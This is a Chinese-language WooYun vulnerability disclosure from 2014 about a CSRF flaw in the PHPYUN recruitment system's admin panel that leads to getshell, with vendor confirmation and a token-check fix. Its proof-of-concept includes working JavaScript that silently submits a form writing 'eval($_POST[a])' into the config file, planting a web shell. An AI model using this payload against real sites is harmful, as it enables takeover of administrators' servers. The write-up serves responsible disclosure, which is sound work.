当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-060571

漏洞标题：PHPYUN云人才系统后台CSRF Getshell

相关厂商：php云人才系统

漏洞作者： phith0n

提交时间：2014-05-15 15:06

修复时间：2014-08-13 15:10

公开时间：2014-08-13 15:10

漏洞类型：CSRF

危害等级：低

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-15： 细节已通知厂商并且等待厂商处理中
2014-05-15： 厂商已经确认，细节仅向厂商公开
2014-05-18： 细节向第三方安全合作伙伴开放
2014-07-09： 细节向核心白帽子及相关领域专家公开
2014-07-19： 细节向普通白帽子公开
2014-07-29： 细节向实习白帽子公开
2014-08-13： 细节向公众公开

简要描述：

phpyun后台没有验证token，可以通过CSRF直接getshell~

详细说明：

首先从后台getshell开始。
网站的配置文件，/plus/config.php，用的是双引号做键值，这导致了安全问题。我们可以把php代码写进双引号里面执行。
修改配置文件，提交:

01.jpg


然后访问/plus/config.php：

02.jpg


特别的是，因为phpyun后台没有防御CSRF的办法，所以我们可以构造一个表单，诱使管理员访问，修改配置文件，导致getshell。
详见漏洞证明。

漏洞证明：

这是CSRF代码，将里面的url修改为你要攻击的站点。然后把这段javascript代码放在任意页面中，诱使管理员访问该页面。

gum = function(){
    var u = {
        'version':'1140213',
        'domain':'{{domain}}',
        'backinfo':{},
        'author': 'https://github.com/quininer/gum'
    };
    u.e = function(code){try{return eval(code)}catch(e){return ''}};
    u.name = function(names){
        return document.getElementsByTagName(names);
    };
    u.html = function(){
            return u.name('html')[0]
                    ||document.write('<html>')
                    ||u.name('html')[0];
    };
    u.addom = function(html, doming, hide){
        (!doming)&&(doming = u.html());
        var temp = document.createElement('span');
        temp.innerHTML = html;
        var doms = temp.children[0];
        (hide)&&(doms.style.display = 'none');
        doming.appendChild(doms);
        return doms;
    };
    u.post = function(url, data){
        var form = u.addom("<form method='POST'>", u.html(), true);
        form.action = url;
        for(var name in data){
            var input = document.createElement('input');
            input.name = name;
            input.value = data[name];
            form.appendChild(input);
        };
        form.submit();
    };
    return u;
}();
gum.post('http://localhost/yun/admin/index.php?M=config&C=save', {
    'config': '提交',
    'sy_hotkeyword': '招聘,求职',
    'sy_bannedip': '', 
    'sy_fkeyword_all': '***', 
    'sy_bannedip_alert': '暂时关闭，，，，',
    'sy_regname': 'admin,zhongguo', 
    'sy_fkeyword': '{${phpinfo()}}{${eval($_POST[a])}}'
});


管理员访问后就已经更新了配置文件。我们直接访问http://localhost/yun/plus/config.php就能看到phpinfo了。菜刀连接，看到shell静静地躺在那里：

03.jpg

修复方案：

验证TOKEN

版权声明：转载请注明来源 phith0n@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-05-15 15:22

厂商回复：

感谢您的提供，我们会尽快修复！

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-06 21:29 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    有点意思

  2. 2014-06-07 23:11 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @U神 听说你抢到ipad 了？？

  3. 2014-06-07 23:15 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @hkAssassin 是的，怎么了啊

  4. 2014-06-08 23:31 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @U神 下次帮我抢个移动硬盘！哈哈